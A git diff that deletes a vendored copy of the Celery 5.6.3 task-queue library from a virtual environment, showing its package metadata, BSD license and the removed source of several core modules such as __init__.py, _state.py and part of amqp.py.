-celery/worker/consumer/mingle.py,sha256=TtQDjAcrJLTDOT14v_QPsV8x_LNo7ZFzkL06LaIazd4,2531 -celery/worker/consumer/tasks.py,sha256=Zpu-BKg_17mPNW09mG51bXScOLOLpLwXCha5wJPDPhQ,4001 -celery/worker/control.py,sha256=gWNTGCiKNS4-M7JG2lX10MwpBqtw-O28PGOT29j2EJ8,20183 -celery/worker/heartbeat.py,sha256=sTV_d0RB9M6zsXIvLZ7VU6teUfX3IK1ITynDpxMS298,2107 -celery/worker/loops.py,sha256=tgf_V6ifrZYFVH6v0FcsnVNmRRp94p4JY556chMMr1o,6178 -celery/worker/pidbox.py,sha256=LcQsKDkd8Z93nQxk0SOLulB8GLEfIjPkN-J0pGk7dfM,3630 -celery/worker/request.py,sha256=BRO0vSWexlrG_3v93qe_A5VbQx_wfzihLxQgCAQ-ZXc,27979 -celery/worker/state.py,sha256=_nQgvGeoahKz_TJCx7Tr20kKrNtDgaBA78eA17hA-8s,8583 -celery/worker/strategy.py,sha256=qMwZ31pLzx7phIS73KuK8UfF-IoweWVC2JZgI8TjuvU,7353 -celery/worker/worker.py,sha256=ivruJ2WK5JyvF7rLYuuMHfVklifOrrQl71lx6g4WUmM,15755 diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/REQUESTED b/venv/Lib/site-packages/celery-5.6.3.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/WHEEL b/venv/Lib/site-packages/celery-5.6.3.dist-info/WHEEL deleted file mode 100644 index 14a883f292bc96b20c2b76a3081991f2676523a9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (82.0.1) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/entry_points.txt b/venv/Lib/site-packages/celery-5.6.3.dist-info/entry_points.txt deleted file mode 100644 index a5801496221530a75c50b93a209af492cee638ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -celery = celery.__main__:main diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/licenses/LICENSE b/venv/Lib/site-packages/celery-5.6.3.dist-info/licenses/LICENSE deleted file mode 100644 index 93411068ab7db9401ec4d5c9d52ca14f77e794fc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/licenses/LICENSE +++ /dev/null @@ -1,55 +0,0 @@ -Copyright (c) 2017-2026 Asif Saif Uddin, core team & contributors. All rights reserved. -Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. -Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. -Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. - -Celery is licensed under The BSD License (3 Clause, also known as -the new BSD license). The license is an OSI approved Open Source -license and is GPL-compatible(1). - -The license text can also be found here: -http://www.opensource.org/licenses/BSD-3-Clause - -License -======= - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of Ask Solem, nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - -Documentation License -===================== - -The documentation portion of Celery (the rendered contents of the -"docs" directory of a software distribution or checkout) is supplied -under the "Creative Commons Attribution-ShareAlike 4.0 -International" (CC BY-SA 4.0) License as described by -https://creativecommons.org/licenses/by-sa/4.0/ - -Footnotes -========= -(1) A GPL-compatible license makes it possible to - combine Celery with other software that is released - under the GPL, it does not mean that we're distributing - Celery under the GPL license. The BSD license, unlike the GPL, - let you distribute a modified version without making your - changes open source. diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/top_level.txt b/venv/Lib/site-packages/celery-5.6.3.dist-info/top_level.txt deleted file mode 100644 index 74f9e8fefb0179f6df06d84bae6e01ff091fd026..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -celery diff --git a/venv/Lib/site-packages/celery/__init__.py b/venv/Lib/site-packages/celery/__init__.py deleted file mode 100644 index a8a798c288ef2e1ecedd87c15c0865e657aaf714..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/__init__.py +++ /dev/null @@ -1,180 +0,0 @@ -"""Distributed Task Queue.""" -# :copyright: (c) 2017-2026 Asif Saif Uddin, celery core and individual -# contributors, All rights reserved. -# :copyright: (c) 2015-2016 Ask Solem. All rights reserved. -# :copyright: (c) 2012-2014 GoPivotal, Inc., All rights reserved. -# :copyright: (c) 2009 - 2012 Ask Solem and individual contributors, -# All rights reserved. -# :license: BSD (3 Clause), see LICENSE for more details. - -import os -import re -import sys -from collections import namedtuple - -# Lazy loading -from . import local - -# Save original os.write before eventlet/gevent can monkey-patch it. -# This is needed for signal handlers (e.g., SIGINT) which may run inside -# the eventlet hub's event loop. Using the patched os.write from within -# the hub causes: RuntimeError('do not call blocking functions from the mainloop') -# See: https://github.com/celery/celery/issues/10083 -_original_os_write = os.write - -SERIES = 'recovery' - -__version__ = '5.6.3' -__author__ = 'Ask Solem' -__contact__ = 'auvipy@gmail.com' -__homepage__ = 'https://docs.celeryq.dev/' -__docformat__ = 'restructuredtext' -__keywords__ = 'task job queue distributed messaging actor' - -# -eof meta- - -__all__ = ( - 'Celery', 'bugreport', 'shared_task', 'Task', - 'current_app', 'current_task', 'maybe_signature', - 'chain', 'chord', 'chunks', 'group', 'signature', - 'xmap', 'xstarmap', 'uuid', -) - -VERSION_BANNER = f'{__version__} ({SERIES})' - -version_info_t = namedtuple('version_info_t', ( - 'major', 'minor', 'micro', 'releaselevel', 'serial', -)) - -# bumpversion can only search for {current_version} -# so we have to parse the version here. -_temp = re.match( - r'(\d+)\.(\d+)\.(\d+)(.+)?', __version__).groups() -VERSION = version_info = version_info_t( - int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') -del _temp -del re - -if os.environ.get('C_IMPDEBUG'): # pragma: no cover - import builtins - - def debug_import(name, locals=None, globals=None, - fromlist=None, level=-1, real_import=builtins.__import__): - glob = globals or getattr(sys, 'emarfteg_'[::-1])(1).f_globals - importer_name = glob and glob.get('__name__') or 'unknown' - print(f'-- {importer_name} imports {name}') - return real_import(name, locals, globals, fromlist, level) - builtins.__import__ = debug_import - -# This is never executed, but tricks static analyzers (PyDev, PyCharm, -# pylint, etc.) into knowing the types of these symbols, and what -# they contain. -STATICA_HACK = True -globals()['kcah_acitats'[::-1].upper()] = False -if STATICA_HACK: # pragma: no cover - from celery._state import current_app, current_task - from celery.app import shared_task - from celery.app.base import Celery - from celery.app.task import Task - from celery.app.utils import bugreport - from celery.canvas import (chain, chord, chunks, group, maybe_signature, signature, subtask, xmap, # noqa - xstarmap) - from celery.utils import uuid - -# Eventlet/gevent patching must happen before importing -# anything else, so these tools must be at top-level. - - -def _find_option_with_arg(argv, short_opts=None, long_opts=None): - """Search argv for options specifying short and longopt alternatives. - - Returns: - str: value for option found - Raises: - KeyError: if option not found. - """ - for i, arg in enumerate(argv): - if arg.startswith('-'): - if long_opts and arg.startswith('--'): - name, sep, val = arg.partition('=') - if name in long_opts: - return val if sep else argv[i + 1] - if short_opts and arg in short_opts: - return argv[i + 1] - raise KeyError('|'.join(short_opts or [] + long_opts or [])) - - -def _patch_eventlet(): - import eventlet.debug - - eventlet.monkey_patch() - blockdetect = float(os.environ.get('EVENTLET_NOBLOCK', 0)) - if blockdetect: - eventlet.debug.hub_blocking_detection(blockdetect, blockdetect) - - -def _patch_gevent(): - import gevent.monkey - import gevent.signal - - gevent.monkey.patch_all() - - -def maybe_patch_concurrency(argv=None, short_opts=None, - long_opts=None, patches=None): - """Apply eventlet/gevent monkeypatches. - - With short and long opt alternatives that specify the command line - option to set the pool, this makes sure that anything that needs - to be patched is completed as early as possible. - (e.g., eventlet/gevent monkey patches). - """ - argv = argv if argv else sys.argv - short_opts = short_opts if short_opts else ['-P'] - long_opts = long_opts if long_opts else ['--pool'] - patches = patches if patches else {'eventlet': _patch_eventlet, - 'gevent': _patch_gevent} - try: - pool = _find_option_with_arg(argv, short_opts, long_opts) - except KeyError: - pass - else: - try: - patcher = patches[pool] - except KeyError: - pass - else: - patcher() - - # set up eventlet/gevent environments ASAP - from celery import concurrency - if pool in concurrency.get_available_pool_names(): - concurrency.get_implementation(pool) - - -# this just creates a new module, that imports stuff on first attribute -# access. This makes the library faster to use. -old_module, new_module = local.recreate_module( # pragma: no cover - __name__, - by_module={ - 'celery.app': ['Celery', 'bugreport', 'shared_task'], - 'celery.app.task': ['Task'], - 'celery._state': ['current_app', 'current_task'], - 'celery.canvas': [ - 'Signature', 'chain', 'chord', 'chunks', 'group', - 'signature', 'maybe_signature', 'subtask', - 'xmap', 'xstarmap', - ], - 'celery.utils': ['uuid'], - }, - __package__='celery', __file__=__file__, - __path__=__path__, __doc__=__doc__, __version__=__version__, - __author__=__author__, __contact__=__contact__, - __homepage__=__homepage__, __docformat__=__docformat__, local=local, - VERSION=VERSION, SERIES=SERIES, VERSION_BANNER=VERSION_BANNER, - version_info_t=version_info_t, - version_info=version_info, - maybe_patch_concurrency=maybe_patch_concurrency, - _find_option_with_arg=_find_option_with_arg, - _original_os_write=_original_os_write, -) diff --git a/venv/Lib/site-packages/celery/__main__.py b/venv/Lib/site-packages/celery/__main__.py deleted file mode 100644 index 8c48d7071afe745a5a868cab5184663248c60512..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/__main__.py +++ /dev/null @@ -1,19 +0,0 @@ -"""Entry-point for the :program:`celery` umbrella command.""" - -import sys - -from . import maybe_patch_concurrency - -__all__ = ('main',) - - -def main() -> None: - """Entrypoint to the ``celery`` umbrella command.""" - if 'multi' not in sys.argv: - maybe_patch_concurrency() - from celery.bin.celery import main as _main - sys.exit(_main()) - - -if __name__ == '__main__': # pragma: no cover - main() diff --git a/venv/Lib/site-packages/celery/_state.py b/venv/Lib/site-packages/celery/_state.py deleted file mode 100644 index 5d3ed5fc56f060cfd513da5ff1c801d5466b7698..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/_state.py +++ /dev/null @@ -1,197 +0,0 @@ -"""Internal state. - -This is an internal module containing thread state -like the ``current_app``, and ``current_task``. - -This module shouldn't be used directly. -""" - -import os -import sys -import threading -import weakref - -from celery.local import Proxy -from celery.utils.threads import LocalStack - -__all__ = ( - 'set_default_app', 'get_current_app', 'get_current_task', - 'get_current_worker_task', 'current_app', 'current_task', - 'connect_on_app_finalize', -) - -#: Global default app used when no current app. -default_app = None - -#: Function returning the app provided or the default app if none. -#: -#: The environment variable :envvar:`CELERY_TRACE_APP` is used to -#: trace app leaks. When enabled an exception is raised if there -#: is no active app. -app_or_default = None - -#: List of all app instances (weakrefs), mustn't be used directly. -_apps = weakref.WeakSet() - -#: Global set of functions to call whenever a new app is finalized. -#: Shared tasks, and built-in tasks are created by adding callbacks here. -_on_app_finalizers = set() - -_task_join_will_block = False - - -def connect_on_app_finalize(callback): - """Connect callback to be called when any app is finalized.""" - _on_app_finalizers.add(callback) - return callback - - -def _announce_app_finalized(app): - callbacks = set(_on_app_finalizers) - for callback in callbacks: - callback(app) - - -def _set_task_join_will_block(blocks): - global _task_join_will_block - _task_join_will_block = blocks - - -def task_join_will_block(): - return _task_join_will_block - - -class _TLS(threading.local): - #: Apps with the :attr:`~celery.app.base.BaseApp.set_as_current` attribute - #: sets this, so it will always contain the last instantiated app, - #: and is the default app returned by :func:`app_or_default`. - current_app = None - - -_tls = _TLS() - -_task_stack = LocalStack() - - -#: Function used to push a task to the thread local stack -#: keeping track of the currently executing task. -#: You must remember to pop the task after. -push_current_task = _task_stack.push - -#: Function used to pop a task from the thread local stack -#: keeping track of the currently executing task. -pop_current_task = _task_stack.pop - - -def set_default_app(app): - """Set default app.""" - global default_app - default_app = app - - -def _get_current_app(): - if default_app is None: - #: creates the global fallback app instance. - from celery.app.base import Celery - set_default_app(Celery( - 'default', fixups=[], set_as_current=False, - loader=os.environ.get('CELERY_LOADER') or 'default', - )) - return _tls.current_app or default_app - - -def _set_current_app(app): - _tls.current_app = app - - -if os.environ.get('C_STRICT_APP'): # pragma: no cover - def get_current_app(): - """Return the current app.""" - raise RuntimeError('USES CURRENT APP') -elif os.environ.get('C_WARN_APP'): # pragma: no cover - def get_current_app(): - import traceback - print('-- USES CURRENT_APP', file=sys.stderr) # + - traceback.print_stack(file=sys.stderr) - return _get_current_app() -else: - get_current_app = _get_current_app - - -def get_current_task(): - """Currently executing task.""" - return _task_stack.top - - -def get_current_worker_task(): - """Currently executing task, that was applied by the worker. - - This is used to differentiate between the actual task - executed by the worker and any task that was called within - a task (using ``task.__call__`` or ``task.apply``) - """ - for task in reversed(_task_stack.stack): - if not task.request.called_directly: - return task - - -#: Proxy to current app. -current_app = Proxy(get_current_app) - -#: Proxy to current task. -current_task = Proxy(get_current_task) - - -def _register_app(app): - _apps.add(app) - - -def _deregister_app(app): - _apps.discard(app) - - -def _get_active_apps(): - return _apps - - -def _app_or_default(app=None): - if app is None: - return get_current_app() - return app - - -def _app_or_default_trace(app=None): # pragma: no cover - from traceback import print_stack - try: - from billiard.process import current_process - except ImportError: - current_process = None - if app is None: - if getattr(_tls, 'current_app', None): - print('-- RETURNING TO CURRENT APP --') # + - print_stack() - return _tls.current_app - if not current_process or current_process()._name == 'MainProcess': - raise Exception('DEFAULT APP') - print('-- RETURNING TO DEFAULT APP --') # + - print_stack() - return default_app - return app - - -def enable_trace(): - """Enable tracing of app instances.""" - global app_or_default - app_or_default = _app_or_default_trace - - -def disable_trace(): - """Disable tracing of app instances.""" - global app_or_default - app_or_default = _app_or_default - - -if os.environ.get('CELERY_TRACE_APP'): # pragma: no cover - enable_trace() -else: - disable_trace() diff --git a/venv/Lib/site-packages/celery/app/__init__.py b/venv/Lib/site-packages/celery/app/__init__.py deleted file mode 100644 index 4a946d930539bb6b6b31873b12047862f3375332..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/__init__.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Celery Application.""" -from celery import _state -from celery._state import app_or_default, disable_trace, enable_trace, pop_current_task, push_current_task -from celery.local import Proxy - -from .base import Celery -from .utils import AppPickler - -__all__ = ( - 'Celery', 'AppPickler', 'app_or_default', 'default_app', - 'bugreport', 'enable_trace', 'disable_trace', 'shared_task', - 'push_current_task', 'pop_current_task', -) - -#: Proxy always returning the app set as default. -default_app = Proxy(lambda: _state.default_app) - - -def bugreport(app=None): - """Return information useful in bug reports.""" - return (app or _state.get_current_app()).bugreport() - - -def shared_task(*args, **kwargs): - """Create shared task (decorator). - - This can be used by library authors to create tasks that'll work - for any app environment. - - Returns: - ~celery.local.Proxy: A proxy that always takes the task from the - current apps task registry. - - Example: - - >>> from celery import Celery, shared_task - >>> @shared_task - ... def add(x, y): - ... return x + y - ... - >>> app1 = Celery(broker='amqp://') - >>> add.app is app1 - True - >>> app2 = Celery(broker='redis://') - >>> add.app is app2 - True - """ - def create_shared_task(**options): - - def __inner(fun): - name = options.get('name') - # Set as shared task so that unfinalized apps, - # and future apps will register a copy of this task. - _state.connect_on_app_finalize( - lambda app: app._task_from_fun(fun, **options) - ) - - # Force all finalized apps to take this task as well. - for app in _state._get_active_apps(): - if app.finalized: - with app._finalize_mutex: - app._task_from_fun(fun, **options) - - # Return a proxy that always gets the task from the current - # apps task registry. - def task_by_cons(): - app = _state.get_current_app() - return app.tasks[ - name or app.gen_task_name(fun.__name__, fun.__module__) - ] - return Proxy(task_by_cons) - return __inner - - if len(args) == 1 and callable(args[0]): - return create_shared_task(**kwargs)(args[0]) - return create_shared_task(*args, **kwargs) diff --git a/venv/Lib/site-packages/celery/app/amqp.py b/venv/Lib/site-packages/celery/app/amqp.py deleted file mode 100644 index 6caedc5c5c6368e32f22a08e95c61c2eeae72989..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/amqp.py +++ /dev/null @@ -1,657 +0,0 @@ -"""Sending/Receiving Messages (Kombu integration).""" -import numbers -from collections import namedtuple -from collections.abc import Mapping -from datetime import timedelta -from weakref import WeakValueDictionary - -from kombu import Connection, Consumer, Exchange, Producer, Queue, pools -from kombu.common import Broadcast -from kombu.utils.functional import maybe_list -from kombu.utils.objects import cached_property - -from celery import signals -from celery.utils.nodenames import anon_nodename -from celery.utils.saferepr import saferepr -from celery.utils.text import indent as textindent -from celery.utils.time import maybe_make_aware - -from . import routes as _routes - -__all__ = ('AMQP', 'Queues', 'task_message') - -#: earliest date supported by time.mktime. -INT_MIN = -2147483648 - -#: Human readable queue declaration. -QUEUE_FORMAT = """ -.> {0.name:<16} exchange={0.exchange.name}({0.exchange.type}) \ -key={0.routing_key} -""" - -task_message = namedtuple('task_message', - ('headers', 'properties', 'body', 'sent_event')) - - -def utf8dict(d, encoding='utf-8'): - return {k.decode(encoding) if isinstance(k, bytes) else k: v - for k, v in d.items()} - - -class Queues(dict): - """Queue name⇒ declaration mapping. - - Arguments: - queues (Iterable): Initial list/tuple or dict of queues. - create_missing (bool): By default any unknown queues will be - added automatically, but if this flag is disabled the occurrence - of unknown queues in `wanted` will raise :exc:`KeyError`. - create_missing_queue_type (str): Type of queue to create for missing queues. - Must be either 'classic' (default) or 'quorum'. If set to 'quorum', - the broker will declare new queues using the quorum type. - create_missing_queue_exchange_type (str): Type of exchange to use - when creating missing queues. If not set, the default exchange type - will be used. If set, the exchange type will be set to this value - when creating missing queues. - max_priority (int): Default x-max-priority for queues with none set. - """ - - #: If set, this is a subset of queues to consume from. - #: The rest of the queues are then used for routing only. - _consume_from = None - - def __init__( - self, queues=None, default_exchange=None, - create_missing=True, create_missing_queue_type=None, - create_missing_queue_exchange_type=None, autoexchange=None, - max_priority=None, default_routing_key=None, - ): - super().__init__() - self.aliases = WeakValueDictionary() - self.default_exchange = default_exchange - self.default_routing_key = default_routing_key - self.create_missing = create_missing - self.create_missing_queue_type = create_missing_queue_type - self.create_missing_queue_exchange_type = create_missing_queue_exchange_type - self.autoexchange = Exchange if autoexchange is None else autoexchange - self.max_priority = max_priority - if queues is not None and not isinstance(queues, Mapping): - queues = {q.name: q for q in queues} - queues = queues or {} - for name, q in queues.items(): - self.add(q) if isinstance(q, Queue) else self.add_compat(name, **q) - - def __getitem__(self, name): - try: - return self.aliases[name] - except KeyError: - return super().__getitem__(name) - - def __setitem__(self, name, queue): - if self.default_exchange and not queue.exchange: - queue.exchange = self.default_exchange - super().__setitem__(name, queue) - if queue.alias: - self.aliases[queue.alias] = queue - - def __missing__(self, name): - if self.create_missing: - return self.add(self.new_missing(name)) - raise KeyError(name) - - def add(self, queue, **kwargs): - """Add new queue. - - The first argument can either be a :class:`kombu.Queue` instance, - or the name of a queue. If the former the rest of the keyword - arguments are ignored, and options are simply taken from the queue - instance. - - Arguments: - queue (kombu.Queue, str): Queue to add. - exchange (kombu.Exchange, str): - if queue is str, specifies exchange name. - routing_key (str): if queue is str, specifies binding key. - exchange_type (str): if queue is str, specifies type of exchange. - **options (Any): Additional declaration options used when - queue is a str. - """ - if not isinstance(queue, Queue): - return self.add_compat(queue, **kwargs) - return self._add(queue) - - def add_compat(self, name, **options): - # docs used to use binding_key as routing key - options.setdefault('routing_key', options.get('binding_key')) - if options['routing_key'] is None: - options['routing_key'] = name - return self._add(Queue.from_dict(name, **options)) - - def _add(self, queue): - if queue.exchange is None or queue.exchange.name == '': - queue.exchange = self.default_exchange - if not queue.routing_key: - queue.routing_key = self.default_routing_key - if self.max_priority is not None: - if queue.queue_arguments is None: - queue.queue_arguments = {} - self._set_max_priority(queue.queue_arguments) - self[queue.name] = queue - return queue - - def _set_max_priority(self, args): - if 'x-max-priority' not in args and self.max_priority is not None: - return args.update({'x-max-priority': self.max_priority}) - - def format(self, indent=0, indent_first=True): - """Format routing table into string for log dumps.""" - active = self.consume_from - if not active: - return '' - info = [QUEUE_FORMAT.strip().format(q) - for _, q in sorted(active.items())] - if indent_first: - return textindent('\n'.join(info), indent) - return info[0] + '\n' + textindent('\n'.join(info[1:]), indent) - - def select_add(self, queue, **kwargs): - """Add new task queue that'll be consumed from. - - The queue will be active even when a subset has been selected - using the :option:`celery worker -Q` option. - """ - q = self.add(queue, **kwargs) - if self._consume_from is not None: - self._consume_from[q.name] = q - return q - - def select(self, include): - """Select a subset of currently defined queues to consume from. - - Arguments: - include (Sequence[str], str): Names of queues to consume from. - """ - if include: - self._consume_from = { - name: self[name] for name in maybe_list(include) - } - - def deselect(self, exclude): - """Deselect queues so that they won't be consumed from. - - Arguments: - exclude (Sequence[str], str): Names of queues to avoid - consuming from. - """ - if exclude: - exclude = maybe_list(exclude) - if self._consume_from is None: - # using all queues - return self.select(k for k in self if k not in exclude) - # using selection - for queue in exclude: - self._consume_from.pop(queue, None) - - def new_missing(self, name): - queue_arguments = None - if self.create_missing_queue_type and self.create_missing_queue_type != "classic": - if self.create_missing_queue_type not in ("classic", "quorum"): - raise ValueError( - f"Invalid queue type '{self.create_missing_queue_type}'. " - "Valid types are 'classic' and 'quorum'." - ) - queue_arguments = {"x-queue-type": self.create_missing_queue_type} - - if self.create_missing_queue_exchange_type: - exchange = Exchange(name, self.create_missing_queue_exchange_type) - else: - exchange = self.autoexchange(name) - - return Queue(name, exchange, name, queue_arguments=queue_arguments) - - @property - def consume_from(self): - if self._consume_from is not None: - return self._consume_from - return self - - -class AMQP: - """App AMQP API: app.amqp.""" - - Connection = Connection - Consumer = Consumer - Producer = Producer - - #: compat alias to Connection - BrokerConnection = Connection - - queues_cls = Queues - - #: Cached and prepared routing table. - _rtable = None - - #: Underlying producer pool instance automatically - #: set by the :attr:`producer_pool`. - _producer_pool = None - - # Exchange class/function used when defining automatic queues. - # For example, you can use ``autoexchange = lambda n: None`` to use the - # AMQP default exchange: a shortcut to bypass routing - # and instead send directly to the queue named in the routing key. - autoexchange = None - - #: Max size of positional argument representation used for - #: logging purposes. - argsrepr_maxsize = 1024 - - #: Max size of keyword argument representation used for logging purposes. - kwargsrepr_maxsize = 1024 - - def __init__(self, app): - self.app = app - self.task_protocols = { - 1: self.as_task_v1, - 2: self.as_task_v2, - } - self.app._conf.bind_to(self._handle_conf_update) - - @cached_property - def create_task_message(self): - return self.task_protocols[self.app.conf.task_protocol] - - @cached_property - def send_task_message(self): - return self._create_task_sender() - - def Queues(self, queues, create_missing=None, create_missing_queue_type=None, - create_missing_queue_exchange_type=None, autoexchange=None, max_priority=None): - # Create new :class:`Queues` instance, using queue defaults - # from the current configuration. - conf = self.app.conf - default_routing_key = conf.task_default_routing_key - if create_missing is None: - create_missing = conf.task_create_missing_queues - if create_missing_queue_type is None: - create_missing_queue_type = conf.task_create_missing_queue_type - if create_missing_queue_exchange_type is None: - create_missing_queue_exchange_type = conf.task_create_missing_queue_exchange_type - if max_priority is None: - max_priority = conf.task_queue_max_priority - if not queues and conf.task_default_queue: - queue_arguments = None - if conf.task_default_queue_type == 'quorum': - queue_arguments = {'x-queue-type': 'quorum'} - queues = (Queue(conf.task_default_queue, - exchange=self.default_exchange, - routing_key=default_routing_key, - queue_arguments=queue_arguments),) - autoexchange = (self.autoexchange if autoexchange is None - else autoexchange) - return self.queues_cls( - queues, - default_exchange=self.default_exchange, - create_missing=create_missing, - create_missing_queue_type=create_missing_queue_type, - create_missing_queue_exchange_type=create_missing_queue_exchange_type, - autoexchange=autoexchange, - max_priority=max_priority, - default_routing_key=default_routing_key, - ) - - def Router(self, queues=None, create_missing=None): - """Return the current task router.""" - return _routes.Router(self.routes, queues or self.queues, - self.app.either('task_create_missing_queues', - create_missing), app=self.app) - - def flush_routes(self): - self._rtable = _routes.prepare(self.app.conf.task_routes) - - def TaskConsumer(self, channel, queues=None, accept=None, **kw): - if accept is None: - accept = self.app.conf.accept_content - return self.Consumer( - channel, accept=accept, - queues=queues or list(self.queues.consume_from.values()), - **kw - ) - - def as_task_v2(self, task_id, name, args=None, kwargs=None, - countdown=None, eta=None, group_id=None, group_index=None, - expires=None, retries=0, chord=None, - callbacks=None, errbacks=None, reply_to=None, - time_limit=None, soft_time_limit=None, - create_sent_event=False, root_id=None, parent_id=None, - shadow=None, chain=None, now=None, timezone=None, - origin=None, ignore_result=False, argsrepr=None, kwargsrepr=None, stamped_headers=None, - replaced_task_nesting=0, **options): - - args = args or () - kwargs = kwargs or {} - if not isinstance(args, (list, tuple)): - raise TypeError('task args must be a list or tuple') - if not isinstance(kwargs, Mapping): - raise TypeError('task keyword arguments must be a mapping') - if countdown: # convert countdown to ETA - self._verify_seconds(countdown, 'countdown') - now = now or self.app.now() - timezone = timezone or self.app.timezone - eta = maybe_make_aware( - now + timedelta(seconds=countdown), tz=timezone, - ) - if isinstance(expires, numbers.Real): - self._verify_seconds(expires, 'expires') - now = now or self.app.now() - timezone = timezone or self.app.timezone - expires = maybe_make_aware( - now + timedelta(seconds=expires), tz=timezone, - ) - if not isinstance(eta, str): - eta = eta and eta.isoformat() - # If we retry a task `expires` will already be ISO8601-formatted. - if not isinstance(expires, str): - expires = expires and expires.isoformat() - - if argsrepr is None: - argsrepr = saferepr(args, self.argsrepr_maxsize) - if kwargsrepr is None: - kwargsrepr = saferepr(kwargs, self.kwargsrepr_maxsize) - - if not root_id: # empty root_id defaults to task_id - root_id = task_id - - stamps = {header: options[header] for header in stamped_headers or []} - headers = { - 'lang': 'py', - 'task': name, - 'id': task_id, - 'shadow': shadow, - 'eta': eta, - 'expires': expires, - 'group': group_id, - 'group_index': group_index, - 'retries': retries, - 'timelimit': [time_limit, soft_time_limit], - 'root_id': root_id, - 'parent_id': parent_id, - 'argsrepr': argsrepr, - 'kwargsrepr': kwargsrepr, - 'origin': origin or anon_nodename(), - 'ignore_result': ignore_result, - 'replaced_task_nesting': replaced_task_nesting, - 'stamped_headers': stamped_headers, - 'stamps': stamps, - } - - return task_message( - headers=headers, - properties={ - 'correlation_id': task_id, - 'reply_to': reply_to or '', - }, - body=( - args, kwargs, { - 'callbacks': callbacks, - 'errbacks': errbacks, - 'chain': chain, - 'chord': chord, - }, - ), - sent_event={ - 'uuid': task_id, - 'root_id': root_id, - 'parent_id': parent_id, - 'name': name, - 'args': argsrepr, - 'kwargs': kwargsrepr, - 'retries': retries, - 'eta': eta, - 'expires': expires, - } if create_sent_event else None, - ) - - def as_task_v1(self, task_id, name, args=None, kwargs=None, - countdown=None, eta=None, group_id=None, group_index=None, - expires=None, retries=0, - chord=None, callbacks=None, errbacks=None, reply_to=None, - time_limit=None, soft_time_limit=None, - create_sent_event=False, root_id=None, parent_id=None, - shadow=None, now=None, timezone=None, - **compat_kwargs): - args = args or () - kwargs = kwargs or {} - utc = self.utc - if not isinstance(args, (list, tuple)): - raise TypeError('task args must be a list or tuple') - if not isinstance(kwargs, Mapping): - raise TypeError('task keyword arguments must be a mapping') - if countdown: # convert countdown to ETA - self._verify_seconds(countdown, 'countdown') - now = now or self.app.now() - eta = now + timedelta(seconds=countdown) - if isinstance(expires, numbers.Real): - self._verify_seconds(expires, 'expires') - now = now or self.app.now() - expires = now + timedelta(seconds=expires) - eta = eta and eta.isoformat() - expires = expires and expires.isoformat() - - return task_message( - headers={}, - properties={ - 'correlation_id': task_id, - 'reply_to': reply_to or '', - }, - body={ - 'task': name, - 'id': task_id, - 'args': args, - 'kwargs': kwargs, - 'group': group_id, - 'group_index': group_index, - 'retries': retries, - 'eta': eta, - 'expires': expires, - 'utc': utc, - 'callbacks': callbacks, - 'errbacks': errbacks, - 'timelimit': (time_limit, soft_time_limit), - 'taskset': group_id, - 'chord': chord, - }, - sent_event={ - 'uuid': task_id, - 'name': name, - 'args': saferepr(args), - 'kwargs': saferepr(kwargs), - 'retries': retries, - 'eta': eta, - 'expires': expires, - } if create_sent_event else None, - ) - - def _verify_seconds(self, s, what): - if s < INT_MIN: - raise ValueError(f'{what} is out of range: {s!r}') - return s - - def _create_task_sender(self): - default_retry = self.app.conf.task_publish_retry - default_policy = self.app.conf.task_publish_retry_policy - default_delivery_mode = self.app.conf.task_default_delivery_mode - default_queue = self.default_queue - queues = self.queues - send_before_publish = signals.before_task_publish.send - before_receivers = signals.before_task_publish.receivers - send_after_publish = signals.after_task_publish.send - after_receivers = signals.after_task_publish.receivers - - send_task_sent = signals.task_sent.send # XXX compat - 